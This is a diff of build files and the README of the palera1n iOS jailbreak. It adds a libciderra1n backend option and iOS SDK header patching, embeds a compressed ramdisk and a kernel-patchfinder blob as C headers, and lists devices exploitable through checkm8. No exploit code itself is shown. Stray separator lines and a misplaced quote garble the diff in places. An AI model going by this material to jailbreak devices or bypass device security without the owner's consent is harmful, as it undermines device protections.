# so tools just dont build at all... theres some issue there thats not worth fixing here
|
|
||||||
file(WRITE "${CMAKE_BINARY_DIR}/fix_tools_makefile.cmake"
|
|
||||||
"file(WRITE \"${CMAKE_BINARY_DIR}/libimobiledevice_ep-prefix/src/libimobiledevice_ep/tools/Makefile\" \"all:\\ninstall:\\n\")\n"
|
|
||||||
)
|
|
||||||
|
|
||||||
ExternalProject_Add_Step(libimobiledevice_ep fix_tools_makefile
|
|
||||||
COMMAND ${CMAKE_COMMAND} -P "${CMAKE_BINARY_DIR}/fix_tools_makefile.cmake"
|
|
||||||
DEPENDEES configure
|
|
||||||
DEPENDERS build
|
|
||||||
)
|
|
||||||
|
|
||||||
if(LINUX)
|
|
||||||
set(LIBIRECOVERY_LIBS LIBS=-lncurses)
|
|
||||||
endif()
|
|
||||||
|
|
||||||
ExternalProject_Add(libirecovery_ep
|
|
||||||
GIT_REPOSITORY https://github.com/libimobiledevice/libirecovery.git
|
|
||||||
GIT_TAG 7ce02c347b7c26e59498e6af31c9da51018d0fa1
|
|
||||||
UPDATE_COMMAND ""
|
|
||||||
CONFIGURE_COMMAND
|
|
||||||
${PKG_ENV}
|
|
||||||
sh -l ./autogen.sh --prefix=${DEPS_PREFIX} ${IMD_AUTOTOOLS_ARGS} ${LIBIRECOVERY_LIBS}
|
|
||||||
BUILD_COMMAND make -j
|
|
||||||
INSTALL_COMMAND make install
|
|
||||||
BUILD_IN_SOURCE 1
|
|
||||||
DEPENDS ${LIBIMOBILEDEVICE_DEPS}
|
|
||||||
)
|
|
||||||
|
|
||||||
add_dependencies(palera1n
|
|
||||||
libplist_ep
|
|
||||||
limd_glue_ep
|
|
||||||
libusbmuxd_ep
|
|
||||||
libimobiledevice_ep
|
|
||||||
libirecovery_ep
|
|
||||||
)
|
|
||||||
|
|
||||||
if(NOT MINGW)
|
|
||||||
add_dependencies(palera1n mbedtls_ep)
|
|
||||||
else()
|
|
||||||
add_dependencies(palera1n libwdi_ep)
|
|
||||||
endif()
|
|
||||||
|
|
||||||
if(LINUX)
|
|
||||||
add_dependencies(palera1n readline_ep)
|
|
||||||
endif()
|
endif()
|
||||||
|
|
||||||
if(MINGW)
|
if(MINGW)
|
||||||
target_link_libraries(palera1n PRIVATE
|
if(NOT WITH_CIDERRAIN)
|
||||||
imobiledevice-1.0
|
target_link_libraries(palera1n PRIVATE
|
||||||
irecovery-1.0
|
usb-1.0
|
||||||
usbmuxd-2.0
|
)
|
||||||
plist-2.0
|
endif()
|
||||||
imobiledevice-glue-1.0
|
|
||||||
usb-1.0
|
|
||||||
libwdi
|
|
||||||
)
|
|
||||||
|
|
||||||
set(DLLS
|
set(DLLS
|
||||||
libcrypto-3-x64.dll
|
|
||||||
libssl-3-x64.dll
|
|
||||||
libstdc++-6.dll
|
libstdc++-6.dll
|
||||||
libgcc_s_seh-1.dll
|
libgcc_s_seh-1.dll
|
||||||
libwinpthread-1.dll
|
libwinpthread-1.dll
|
||||||
libimobiledevice-1.0.dll
|
|
||||||
libimobiledevice-glue-1.0.dll
|
|
||||||
libirecovery-1.0.dll
|
|
||||||
libplist-2.0.dll
|
|
||||||
libusbmuxd-2.0.dll
|
|
||||||
libusb-1.0.dll
|
|
||||||
libwdi.dll
|
|
||||||
)
|
)
|
||||||
|
|
||||||
|
if(NOT WITH_CIDERRAIN)
|
||||||
|
list(APPEND DLLS
|
||||||
|
libusb-1.0.dll
|
||||||
|
)
|
||||||
|
endif()
|
||||||
|
|
||||||
execute_process(
|
execute_process(
|
||||||
COMMAND cygpath -w "$ENV{MSYSTEM_PREFIX}/bin"
|
COMMAND cygpath -w "$ENV{MSYSTEM_PREFIX}/bin"
|
||||||
OUTPUT_VARIABLE MSYSTEM_PREFIX_WIN
|
OUTPUT_VARIABLE MSYSTEM_PREFIX_WIN
|
||||||
@@ -472,26 +551,18 @@ if(WITH_STATIC)
|
|||||||
)
|
)
|
||||||
endforeach()
|
endforeach()
|
||||||
else()
|
else()
|
||||||
target_link_libraries(palera1n PRIVATE
|
|
||||||
"${DEPS_PREFIX}/lib/libimobiledevice-1.0.a"
|
|
||||||
"${DEPS_PREFIX}/lib/libirecovery-1.0.a"
|
|
||||||
"${DEPS_PREFIX}/lib/libusbmuxd-2.0.a"
|
|
||||||
"${DEPS_PREFIX}/lib/libplist-2.0.a"
|
|
||||||
"${DEPS_PREFIX}/lib/libimobiledevice-glue-1.0.a"
|
|
||||||
"${DEPS_PREFIX}/lib/libmbedtls.a"
|
|
||||||
"${DEPS_PREFIX}/lib/libmbedx509.a"
|
|
||||||
"${DEPS_PREFIX}/lib/libmbedcrypto.a"
|
|
||||||
)
|
|
||||||
|
|
||||||
if(LINUX)
|
if(LINUX)
|
||||||
target_compile_options(palera1n PRIVATE "-static")
|
target_compile_options(palera1n PRIVATE "-static")
|
||||||
target_link_options(palera1n PRIVATE "-static")
|
target_link_options(palera1n PRIVATE "-static")
|
||||||
|
|
||||||
target_link_libraries(palera1n PRIVATE
|
target_link_libraries(palera1n PRIVATE
|
||||||
"${DEPS_PREFIX}/lib/libusb-1.0.a"
|
|
||||||
"${DEPS_PREFIX}/lib/libreadline.a"
|
|
||||||
"${DEPS_PREFIX}/lib/libncurses.a"
|
"${DEPS_PREFIX}/lib/libncurses.a"
|
||||||
)
|
)
|
||||||
|
if(NOT WITH_CIDERRAIN)
|
||||||
|
target_link_libraries(palera1n PRIVATE
|
||||||
|
"${DEPS_PREFIX}/lib/libusb-1.0.a"
|
||||||
|
)
|
||||||
|
endif()
|
||||||
elseif(APPLE)
|
elseif(APPLE)
|
||||||
if(WITH_TUI)
|
if(WITH_TUI)
|
||||||
find_package(Curses REQUIRED)
|
find_package(Curses REQUIRED)
|
||||||
@@ -501,39 +572,13 @@ if(WITH_STATIC)
|
|||||||
endif()
|
endif()
|
||||||
endif()
|
endif()
|
||||||
else()
|
else()
|
||||||
find_package(PkgConfig REQUIRED)
|
if(WITH_TUI)
|
||||||
|
find_package(Curses REQUIRED)
|
||||||
|
target_include_directories(palera1n PRIVATE ${CURSES_INCLUDE_DIRS})
|
||||||
|
target_link_libraries(palera1n PRIVATE ${CURSES_LIBRARIES})
|
||||||
|
endif()
|
||||||
|
|
||||||
pkg_check_modules(IMD REQUIRED libimobiledevice-1.0)
|
if(NOT APPLE AND NOT CIDERRAIN)
|
||||||
pkg_check_modules(IRECOVERY REQUIRED libirecovery-1.0)
|
|
||||||
pkg_check_modules(PLIST REQUIRED libplist-2.0)
|
|
||||||
pkg_check_modules(USBMUXD REQUIRED libusbmuxd-2.0)
|
|
||||||
|
|
||||||
target_include_directories(palera1n PRIVATE
|
|
||||||
${IMD_INCLUDE_DIRS}
|
|
||||||
${IRECOVERY_INCLUDE_DIRS}
|
|
||||||
${PLIST_INCLUDE_DIRS}
|
|
||||||
${USBMUXD_INCLUDE_DIRS}
|
|
||||||
)
|
|
||||||
|
|
||||||
target_link_libraries(palera1n PRIVATE
|
|
||||||
${IMD_LIBRARIES}
|
|
||||||
${IRECOVERY_LIBRARIES}
|
|
||||||
${PLIST_LIBRARIES}
|
|
||||||
${USBMUXD_LIBRARIES}
|
|
||||||
)
|
|
||||||
|
|
||||||
target_compile_options(palera1n PRIVATE
|
|
||||||
${IMD_CFLAGS_OTHER}
|
|
||||||
${IRECOVERY_CFLAGS_OTHER}
|
|
||||||
${PLIST_CFLAGS_OTHER}
|
|
||||||
${USBMUXD_CFLAGS_OTHER}
|
|
||||||
)
|
|
||||||
|
|
||||||
find_package(Curses REQUIRED)
|
|
||||||
target_include_directories(palera1n PRIVATE ${CURSES_INCLUDE_DIRS})
|
|
||||||
target_link_libraries(palera1n PRIVATE ${CURSES_LIBRARIES})
|
|
||||||
|
|
||||||
if(NOT APPLE)
|
|
||||||
pkg_check_modules(LIBUSB REQUIRED libusb-1.0)
|
pkg_check_modules(LIBUSB REQUIRED libusb-1.0)
|
||||||
target_include_directories(palera1n PRIVATE ${LIBUSB_INCLUDE_DIRS})
|
target_include_directories(palera1n PRIVATE ${LIBUSB_INCLUDE_DIRS})
|
||||||
target_link_libraries(palera1n PRIVATE ${LIBUSB_LIBRARIES})
|
target_link_libraries(palera1n PRIVATE ${LIBUSB_LIBRARIES})
|
||||||
|
|||||||
@@ -1,84 +1,149 @@
|
|||||||
.PHONY: payloads palera1n palera1n_xcode palera1n_mingw clean
|
.PHONY: apple-include payloads palera1n palera1n_xcode palera1n_mingw clean
|
||||||
|
|
||||||
WITH_GUI ?= 0
|
WITH_GUI ?= 0
|
||||||
WITH_TUI ?= 0
|
WITH_TUI ?= 0
|
||||||
WITH_RAMDISK ?= 1
|
WITH_RAMDISK ?= 1
|
||||||
WITH_BINPACK ?= 1
|
WITH_BINPACK ?= 1
|
||||||
WITH_STATIC ?= 0
|
WITH_STATIC ?= 0
|
||||||
|
WITH_CIDERRAIN ?= 0
|
||||||
BUILD_TYPE ?= Debug
|
BUILD_TYPE ?= Debug
|
||||||
|
|
||||||
CMAKE_SYSROOT ?=
|
CMAKE_SYSROOT ?=
|
||||||
CROSS_HOST_TRIPLE ?=
|
CROSS_HOST_TRIPLE ?=
|
||||||
JOBS ?=
|
JOBS ?=
|
||||||
|
|
||||||
|
PLATFORM ?= host
|
||||||
|
|
||||||
|
UNAME_S := $(shell uname -s)
|
||||||
|
|
||||||
BUILD_ARGS :=
|
BUILD_ARGS :=
|
||||||
ifneq ($(strip $(JOBS)),)
|
ifneq ($(strip $(JOBS)),)
|
||||||
BUILD_ARGS += --parallel $(JOBS)
|
BUILD_ARGS += --parallel $(JOBS)
|
||||||
endif
|
endif
|
||||||
|
|
||||||
|
ifeq ($(PLATFORM),ios)
|
||||||
|
PLATFORM := iphoneos
|
||||||
|
endif
|
||||||
|
TARGET_SYSROOT :=
|
||||||
|
MACOSX_SYSROOT := $(shell xcrun --sdk macosx --show-sdk-path)
|
||||||
|
CUSTOM_INCLUDE_PATH := apple-include-$(PLATFORM)
|
||||||
|
|
||||||
|
ifeq ($(PLATFORM),iphoneos)
|
||||||
|
ifneq ($(UNAME_S),Darwin)
|
||||||
|
$(error iOS builds require macOS/Xcode)
|
||||||
|
endif
|
||||||
|
TARGET_SYSROOT := $(shell xcrun --sdk iphoneos --show-sdk-path)
|
||||||
|
else ifeq ($(PLATFORM),macos)
|
||||||
|
ifneq ($(UNAME_S),Darwin)
|
||||||
|
$(error macOS SDK builds require macOS/Xcode)
|
||||||
|
endif
|
||||||
|
TARGET_SYSROOT := $(shell xcrun --sdk macosx --show-sdk-path)
|
||||||
|
endif
|
||||||
|
|
||||||
|
CMAKE_COMMON_ARGS := \
|
||||||
|
-DCMAKE_SYSROOT="$(CMAKE_SYSROOT)" \
|
||||||
|
-DCROSS_HOST_TRIPLE="$(CROSS_HOST_TRIPLE)" \
|
||||||
|
-DCMAKE_BUILD_TYPE=$(BUILD_TYPE) \
|
||||||
|
-DWITH_GUI=$(WITH_GUI) \
|
||||||
|
-DWITH_TUI=$(WITH_TUI) \
|
||||||
|
-DWITH_RAMDISK=$(WITH_RAMDISK) \
|
||||||
|
-DWITH_BINPACK=$(WITH_BINPACK) \
|
||||||
|
-DWITH_CIDERRAIN=$(WITH_CIDERRAIN) \
|
||||||
|
-DWITH_STATIC=$(WITH_STATIC)
|
||||||
|
|
||||||
|
CMAKE_APPLE_ARGS :=
|
||||||
|
|
||||||
|
ifeq ($(PLATFORM),iphoneos)
|
||||||
|
|
||||||
|
CMAKE_APPLE_ARGS := \
|
||||||
|
-DCMAKE_SYSTEM_NAME=iOS \
|
||||||
|
-DCMAKE_OSX_SYSROOT="$(TARGET_SYSROOT)" \
|
||||||
|
-DCMAKE_OSX_ARCHITECTURES=arm64 \
|
||||||
|
-DCMAKE_OSX_DEPLOYMENT_TARGET=15.0
|
||||||
|
|
||||||
|
endif
|
||||||
|
|
||||||
|
ifeq ($(PLATFORM),macos)
|
||||||
|
|
||||||
|
CMAKE_APPLE_ARGS := \
|
||||||
|
-DCMAKE_SYSTEM_NAME=Darwin \
|
||||||
|
-DCMAKE_OSX_SYSROOT="$(TARGET_SYSROOT)"
|
||||||
|
|
||||||
|
endif
|
||||||
|
|
||||||
|
ifeq ($(PLATFORM),iphoneos)
|
||||||
|
APPLE_INCLUDE_DEP := apple-include
|
||||||
|
else
|
||||||
|
APPLE_INCLUDE_DEP :=
|
||||||
|
endif
|
||||||
|
|
||||||
|
apple-include:
|
||||||
|
mkdir -p $(CUSTOM_INCLUDE_PATH)/{bsm,objc,os/internal,sys,firehose,CoreFoundation,FSEvents,IOSurface,IOKit/kext,libkern,kern,arm,{mach/,}machine,CommonCrypto,Security,CoreSymbolication,Kernel/{kern,IOKit,libkern},rpc,rpcsvc,xpc/private,ktrace,mach-o,dispatch}
|
||||||
|
cp -af $(MACOSX_SYSROOT)/usr/include/{arpa,bsm,hfs,net,xpc,netinet,servers,timeconv.h,launch.h} $(CUSTOM_INCLUDE_PATH)
|
||||||
|
cp -af $(MACOSX_SYSROOT)/usr/include/objc/objc-runtime.h $(CUSTOM_INCLUDE_PATH)/objc
|
||||||
|
cp -af $(MACOSX_SYSROOT)/usr/include/libkern/{OSDebug.h,OSKextLib.h,OSReturn.h,OSThermalNotification.h,OSTypes.h,machine} $(CUSTOM_INCLUDE_PATH)/libkern
|
||||||
|
cp -af $(MACOSX_SYSROOT)/usr/include/kern $(CUSTOM_INCLUDE_PATH)
|
||||||
|
cp -af $(MACOSX_SYSROOT)/usr/include/sys/{tty*,ptrace,kern*,random,reboot,user,vnode,disk,vmmeter,conf}.h $(CUSTOM_INCLUDE_PATH)/sys
|
||||||
|
cp -af $(MACOSX_SYSROOT)/System/Library/Frameworks/Kernel.framework/Versions/Current/Headers/sys/disklabel.h $(CUSTOM_INCLUDE_PATH)/sys
|
||||||
|
cp -af $(MACOSX_SYSROOT)/System/Library/Frameworks/IOKit.framework/Headers/{AppleConvergedIPCKeys.h,IOBSD.h,IOCFBundle.h,IOCFPlugIn.h,IOCFURLAccess.h,IOKitServer.h,IORPC.h,IOSharedLock.h,IOUserServer.h,audio,avc,firewire,graphics,hid,hidsystem,i2c,iokitmig.h,kext,ndrvsupport,network,ps,pwr_mgt,sbp2,scsi,serial,storage,stream,usb,video} $(CUSTOM_INCLUDE_PATH)/IOKit
|
||||||
|
cp -af $(MACOSX_SYSROOT)/System/Library/Frameworks/Security.framework/Headers/{mds_schema,oidsalg,SecKeychainSearch,certextensions,Authorization,eisl,SecDigestTransform,SecKeychainItem,oidscrl,cssmcspi,CSCommon,cssmaci,SecCode,CMSDecoder,oidscert,SecRequirement,AuthSession,SecReadTransform,oids,cssmconfig,cssmkrapi,SecPolicySearch,SecAccess,cssmtpi,SecACL,SecEncryptTransform,cssmapi,cssmcli,mds,x509defs,oidsbase,SecSignVerifyTransform,cssmspi,cssmkrspi,SecTask,cssmdli,SecAsn1Coder,cssm,SecTrustedApplication,SecCodeHost,SecCustomTransform,oidsattr,SecIdentitySearch,cssmtype,SecAsn1Types,emmtype,SecTransform,SecTrustSettings,SecStaticCode,emmspi,SecTransformReadTransform,SecKeychain,SecDecodeTransform,CodeSigning,AuthorizationPlugin,cssmerr,AuthorizationTags,CMSEncoder,SecEncodeTransform,SecureDownload,SecAsn1Templates,AuthorizationDB,SecCertificateOIDs,cssmapple}.h $(CUSTOM_INCLUDE_PATH)/Security
|
||||||
|
# cp -af $(MACOSX_SYSROOT)/usr/include/{ar,bootstrap,launch,libc,libcharset,localcharset,nlist,NSSystemDirectories,tzfile,vproc}.h $(CUSTOM_INCLUDE_PATH)
|
||||||
|
cp -af $(MACOSX_SYSROOT)/usr/include/mach/{*.defs,{mach_vm,shared_region}.h} $(CUSTOM_INCLUDE_PATH)/mach
|
||||||
|
cp -af $(MACOSX_SYSROOT)/usr/include/mach/machine/*.defs $(CUSTOM_INCLUDE_PATH)/mach/machine
|
||||||
|
cp -af $(MACOSX_SYSROOT)/usr/include/rpc/pmap_clnt.h $(CUSTOM_INCLUDE_PATH)/rpc
|
||||||
|
cp -af $(MACOSX_SYSROOT)/usr/include/rpcsvc/yp{_prot,clnt}.h $(CUSTOM_INCLUDE_PATH)/rpcsvc
|
||||||
|
cp -af $(TARGET_SYSROOT)/usr/include/mach/machine/thread_state.h $(CUSTOM_INCLUDE_PATH)/mach/machine
|
||||||
|
cp -af $(TARGET_SYSROOT)/usr/include/mach/arm $(CUSTOM_INCLUDE_PATH)/mach
|
||||||
|
cp -af $(MACOSX_SYSROOT)/System/Library/Frameworks/IOKit.framework/Headers/* $(CUSTOM_INCLUDE_PATH)/IOKit
|
||||||
|
# gsed -E s/'__IOS_PROHIBITED|__TVOS_PROHIBITED|__WATCHOS_PROHIBITED'//g < $(TARGET_SYSROOT)/usr/include/stdlib.h > $(CUSTOM_INCLUDE_PATH)/stdlib.h
|
||||||
|
gsed -E s/'__IOS_PROHIBITED|__TVOS_PROHIBITED|__WATCHOS_PROHIBITED'//g < $(TARGET_SYSROOT)/usr/include/time.h > $(CUSTOM_INCLUDE_PATH)/time.h
|
||||||
|
gsed -E s/'__IOS_PROHIBITED|__TVOS_PROHIBITED|__WATCHOS_PROHIBITED'//g < $(TARGET_SYSROOT)/usr/include/unistd.h > $(CUSTOM_INCLUDE_PATH)/unistd.h
|
||||||
|
gsed -E s/'__IOS_PROHIBITED|__TVOS_PROHIBITED|__WATCHOS_PROHIBITED'//g < $(TARGET_SYSROOT)/usr/include/mach/task.h > $(CUSTOM_INCLUDE_PATH)/mach/task.h
|
||||||
|
gsed -E s/'__IOS_PROHIBITED|__TVOS_PROHIBITED|__WATCHOS_PROHIBITED'//g < $(TARGET_SYSROOT)/usr/include/mach/mach_host.h > $(CUSTOM_INCLUDE_PATH)/mach/mach_host.h
|
||||||
|
gsed -E s/'__IOS_PROHIBITED|__TVOS_PROHIBITED|__WATCHOS_PROHIBITED'//g < $(TARGET_SYSROOT)/usr/include/ucontext.h > $(CUSTOM_INCLUDE_PATH)/ucontext.h
|
||||||
|
# gsed -E s/'__IOS_PROHIBITED|__TVOS_PROHIBITED|__WATCHOS_PROHIBITED'//g < $(TARGET_SYSROOT)/usr/include/signal.h > $(CUSTOM_INCLUDE_PATH)/signal.h
|
||||||
|
gsed -E s/'__IOS_PROHIBITED|__TVOS_PROHIBITED|__WATCHOS_PROHIBITED'//g < $(TARGET_SYSROOT)/usr/include/spawn.h > $(CUSTOM_INCLUDE_PATH)/spawn.h
|
||||||
|
gsed -E /'__API_UNAVAILABLE'/d < $(TARGET_SYSROOT)/usr/include/pthread.h > $(CUSTOM_INCLUDE_PATH)/pthread.h
|
||||||
|
gsed -i -E s/'__API_UNAVAILABLE\(.*\)'// $(CUSTOM_INCLUDE_PATH)/IOKit/IOKitLib.h
|
||||||
|
gsed -i -E s/'__API_UNAVAILABLE\(.*\)'// $(CUSTOM_INCLUDE_PATH)/spawn.h
|
||||||
|
gsed -i -E s/'API_UNAVAILABLE\(.*\)'// $(CUSTOM_INCLUDE_PATH)/xpc/*.h
|
||||||
|
gsed -i 's|// __XPC_INDIRECT__|\n#include "$(TARGET_SYSROOT)/usr/include/bsm/audit.h"\n|' $(CUSTOM_INCLUDE_PATH)/xpc/connection.h
|
||||||
|
|
||||||
payloads:
|
payloads:
|
||||||
mkdir -p src/gen/images
|
mkdir -p src/gen/embedded
|
||||||
mkdir -p src/gen/payloads
|
|
||||||
|
|
||||||
@for file in payloads/*; do \
|
xz --format=lzma -vfc6ekT 0 embedded/ramdisk.dmg > embedded/ramdisk-compressed.dmg.lzma
|
||||||
|
xz --format=lzma -vfc6ekT 0 embedded/checkra1n-kpf-pongo > embedded/checkra1n-kpf-pongo-compressed.lzma
|
||||||
|
|
||||||
|
@for file in embedded/*; do \
|
||||||
name=$$(basename "$$file"); \
|
name=$$(basename "$$file"); \
|
||||||
name=$${name%.*}; \
|
name=$${name%.*}; \
|
||||||
echo " XXD $$file"; \
|
echo " XXD $$file"; \
|
||||||
echo "#pragma once" > "src/gen/payloads/$$name.h"; \
|
echo "#pragma once" > "src/gen/embedded/$$name.h"; \
|
||||||
xxd -i "$$file" \
|
xxd -i "$$file" \
|
||||||
| sed 's/unsigned char/static const unsigned char/g' \
|
| sed 's/unsigned char/static const unsigned char/g' \
|
||||||
| sed 's/unsigned int/static const size_t/g' \
|
| sed 's/unsigned int/static const size_t/g' \
|
||||||
>> "src/gen/payloads/$$name.h"; \
|
>> "src/gen/embedded/$$name.h"; \
|
||||||
done
|
done
|
||||||
|
|
||||||
@for file in images/*; do \
|
|
||||||
name=$$(basename "$$file"); \
|
|
||||||
name=$${name%.*}; \
|
|
||||||
echo " XXD $$file"; \
|
|
||||||
echo "#pragma once" > "src/gen/images/$$name.h"; \
|
|
||||||
xxd -i "$$file" \
|
|
||||||
| sed 's/unsigned char/static const unsigned char/g' \
|
|
||||||
| sed 's/unsigned int/static const size_t/g' \
|
|
||||||
>> "src/gen/images/$$name.h"; \
|
|
||||||
done
|
|
||||||
|
|
||||||
xxd -i -n "DFUHelperDeviceInfo" resources/DFUHelperDeviceInfo.json > src/gen/DFUHelperDeviceInfo.h
|
|
||||||
|
|
||||||
palera1n: payloads
|
palera1n: payloads
|
||||||
@cmake -S . -B build \
|
@cmake -S . -B build \
|
||||||
-DCMAKE_SYSROOT="$(CMAKE_SYSROOT)" \
|
$(CMAKE_COMMON_ARGS) \
|
||||||
-DCROSS_HOST_TRIPLE="$(CROSS_HOST_TRIPLE)" \
|
$(CMAKE_APPLE_ARGS) && \
|
||||||
-DCMAKE_BUILD_TYPE=$(BUILD_TYPE) \
|
|
||||||
-DWITH_GUI=$(WITH_GUI) \
|
|
||||||
-DWITH_TUI=$(WITH_TUI) \
|
|
||||||
-DWITH_RAMDISK=$(WITH_RAMDISK) \
|
|
||||||
-DWITH_BINPACK=$(WITH_BINPACK) \
|
|
||||||
-DWITH_STATIC=$(WITH_STATIC) && \
|
|
||||||
cmake --build build $(BUILD_ARGS)
|
cmake --build build $(BUILD_ARGS)
|
||||||
|
|
||||||
palera1n_xcode: payloads
|
palera1n_xcode: $(APPLE_INCLUDE_DEP) payloads
|
||||||
@cmake -S . -B build \
|
@cmake -S . -B build \
|
||||||
-G Xcode \
|
-G Xcode \
|
||||||
-DCMAKE_SYSROOT="$(CMAKE_SYSROOT)" \
|
$(CMAKE_COMMON_ARGS) \
|
||||||
-DCROSS_HOST_TRIPLE="$(CROSS_HOST_TRIPLE)" \
|
$(CMAKE_APPLE_ARGS)
|
||||||
-DCMAKE_BUILD_TYPE=$(BUILD_TYPE) \
|
|
||||||
-DWITH_GUI=$(WITH_GUI) \
|
|
||||||
-DWITH_TUI=$(WITH_TUI) \
|
|
||||||
-DWITH_RAMDISK=$(WITH_RAMDISK) \
|
|
||||||
-DWITH_BINPACK=$(WITH_BINPACK) \
|
|
||||||
-DWITH_STATIC=$(WITH_STATIC)
|
|
||||||
|
|
||||||
palera1n_mingw: payloads
|
palera1n_mingw: payloads
|
||||||
@cmake -S . -B build \
|
@cmake -S . -B build \
|
||||||
-G "MinGW Makefiles" \
|
-G "MinGW Makefiles" \
|
||||||
-DCMAKE_SYSROOT="$(CMAKE_SYSROOT)" \
|
$(CMAKE_COMMON_ARGS) && \
|
||||||
-DCROSS_HOST_TRIPLE="$(CROSS_HOST_TRIPLE)" \
|
|
||||||
-DCMAKE_BUILD_TYPE=$(BUILD_TYPE) \
|
|
||||||
-DWITH_GUI=$(WITH_GUI) \
|
|
||||||
-DWITH_TUI=$(WITH_TUI) \
|
|
||||||
-DWITH_RAMDISK=$(WITH_RAMDISK) \
|
|
||||||
-DWITH_BINPACK=$(WITH_BINPACK) \
|
|
||||||
-DWITH_STATIC=$(WITH_STATIC) && \
|
|
||||||
cmake --build build $(BUILD_ARGS)
|
cmake --build build $(BUILD_ARGS)
|
||||||
|
|
||||||
clean:
|
clean:
|
||||||
@rm -rf build src/gen
|
@rm -rf build src/gen
|
||||||
|
@rm -rf apple-include-*
|
||||||
@@ -16,8 +16,7 @@ Jailbreak for A8 through A11, T2 devices, on iOS/iPadOS/tvOS 15.0, bridgeOS 5.0
|
|||||||
| iPhone 8 | iPad Pro (12.9") (1st generation) | | |
|
| iPhone 8 | iPad Pro (12.9") (1st generation) | | |
|
||||||
| iPhone 8 Plus | iPad Pro (10.5") | | |
|
| iPhone 8 Plus | iPad Pro (10.5") | | |
|
||||||
| iPhone X | iPad Pro (12.9") (2nd generation) | | |
|
| iPhone X | iPad Pro (12.9") (2nd generation) | | |
|
||||||
| | iPad Air 2 | | |
|
| | iPad Air 2 | | |
|
||||||
|
|
||||||
|
|
||||||
> Note that on `A11` (iPhone X, 8, 8 Plus), **you must disable your passcode while in the jailbroken state** (on iOS 16, you need to **reset your device** before proceeding with palera1n).
|
> Note that on `A11` (iPhone X, 8, 8 Plus), **you must disable your passcode while in the jailbroken state** (on iOS 16, you need to **reset your device** before proceeding with palera1n).
|
||||||
|
|
||||||
@@ -54,28 +53,47 @@ Jailbreak for A8 through A11, T2 devices, on iOS/iPadOS/tvOS 15.0, bridgeOS 5.0
|
|||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
|
||||||
## Computer Requirements
|
## Computer Requirements
|
||||||
|
|
||||||
1. **USB-A** cables are recommended to use, USB-C to may have issues with palera1n and getting into DFU mode.
|
1. **USB-A** cables are recommended to use, USB-C to may have issues with palera1n and getting into DFU mode.
|
||||||
> Due to USB-C cables having different accessory IDs, your device may not be able to be recognized when using USB-C due to not being able to assert to its USB voltage pin.
|
> Due to USB-C cables having different accessory IDs, your device may not be able to be recognized when using USB-C due to not being able to assert to its USB voltage pin.
|
||||||
|
|
||||||
2. **Linux or macOS computer**
|
2. **Linux or macOS computer**
|
||||||
> AMD CPUs (not AMD Mobile) have an issue where it causes them to have a very low success rate with checkm8 exploit. It is not recommended that you use them with palera1n.
|
|
||||||
|
|
||||||
> USB-C port on Apple Silicon Macs *may* require manual unplugging and replugging of the lightning cable after checkm8 exploit. This problem may be solved by connecting via USB hub, though extensions can vary.
|
> USB-C port on Apple Silicon Macs *may* require manual unplugging and replugging of the lightning cable after checkm8 exploit. This problem may be solved by connecting via USB hub, though extensions can vary.
|
||||||
|
|
||||||
## Installing
|
## Installing
|
||||||
|
|
||||||
Visit https://palera.in
|
Visit https://palera.in
|
||||||
|
|
||||||
## Building
|
## Building
|
||||||
|
|
||||||
Building is going to be a bit convoluted for each platform, each having their own unique specifications, but the best reference for building should be looking at how [GitHub actions](./.github/workflows/build.yml) does it.
|
Building is going to be a bit convoluted for each platform, each having their own unique specifications, but the best reference for building should be looking at how [GitHub actions](./.github/workflows/build.yml) does it.
|
||||||
|
|
||||||
|
```sh
|
||||||
|
# Supported params:
|
||||||
|
# GUI support (0 default):
|
||||||
|
# WITH_GUI=1
|
||||||
|
# TUI support (0 default):
|
||||||
|
# WITH_TUI=1
|
||||||
|
# Default ramdisk (1 default):
|
||||||
|
# WITH_RAMDISK=1
|
||||||
|
# Default overlay (1 default):
|
||||||
|
# WITH_BINPACK=1
|
||||||
|
# Compile statically (0 default):
|
||||||
|
# WITH_STATIC=0
|
||||||
|
# Compile using libciderra1n as backend (0 default):
|
||||||
|
# WITH_CIDERRAIN=0
|
||||||
|
# Debug or release build ("Debug" default):
|
||||||
|
# BUILD_TYPE="Release"
|
||||||
|
```
|
||||||
|
|
||||||
### macOS
|
### macOS
|
||||||
|
|
||||||
Install necessary tooling:
|
Install necessary tooling:
|
||||||
|
|
||||||
- [Xcode](https://developer.apple.com/xcode/) and [Command Line Tools](https://developer.apple.com/download/all/).
|
- [Xcode](https://developer.apple.com/xcode/) and [Command Line Tools](https://developer.apple.com/download/all/)
|
||||||
|
- [Rust](https://rustup.rs/)
|
||||||
```sh
|
```sh
|
||||||
brew install cmake \
|
brew install cmake \
|
||||||
autoconf \
|
autoconf \
|
||||||
@@ -87,15 +105,18 @@ brew install cmake \
|
|||||||
Then compile:
|
Then compile:
|
||||||
|
|
||||||
```sh
|
```sh
|
||||||
make palera1n WITH_STATIC=1 WITH_GUI=1
|
make palera1n"
|
||||||
```
|
```
|
||||||
|
|
||||||
### Debian / Ubuntu Linux
|
### Debian / Ubuntu Linux
|
||||||
|
|
||||||
Install necessary tooling:
|
Install necessary tooling:
|
||||||
|
|
||||||
|
- [Rust](https://rustup.rs/)
|
||||||
|
|
||||||
```sh
|
```sh
|
||||||
sudo apt install -y build-essential \
|
sudo apt install -y \
|
||||||
|
build-essential \
|
||||||
cmake \
|
cmake \
|
||||||
autoconf \
|
autoconf \
|
||||||
automake \
|
automake \
|
||||||
@@ -106,7 +127,7 @@ sudo apt install -y build-essential \
|
|||||||
Then compile:
|
Then compile:
|
||||||
|
|
||||||
```sh
|
```sh
|
||||||
make palera1n WITH_STATIC=1 WITH_GUI=1
|
make palera1n
|
||||||
```
|
```
|
||||||
|
|
||||||
### Windows
|
### Windows
|
||||||
@@ -116,9 +137,12 @@ make palera1n WITH_STATIC=1 WITH_GUI=1
|
|||||||
Open mingw64 terminal and install necessary tooling:
|
Open mingw64 terminal and install necessary tooling:
|
||||||
|
|
||||||
```sh
|
```sh
|
||||||
pacman -S git \
|
pacman -S \
|
||||||
|
git \
|
||||||
mingw-w64-x86_64-toolchain \
|
mingw-w64-x86_64-toolchain \
|
||||||
mingw-w64-x86_64-cmake \
|
mingw-w64-x86_64-cmake \
|
||||||
|
mingw-w64-x86_64-libusb \
|
||||||
|
mingw-w64-x86_64-rust \
|
||||||
libtool \
|
libtool \
|
||||||
openssl \
|
openssl \
|
||||||
openssl-devel \
|
openssl-devel \
|
||||||
@@ -134,29 +158,32 @@ pacman -S git \
|
|||||||
Then compile:
|
Then compile:
|
||||||
|
|
||||||
```sh
|
```sh
|
||||||
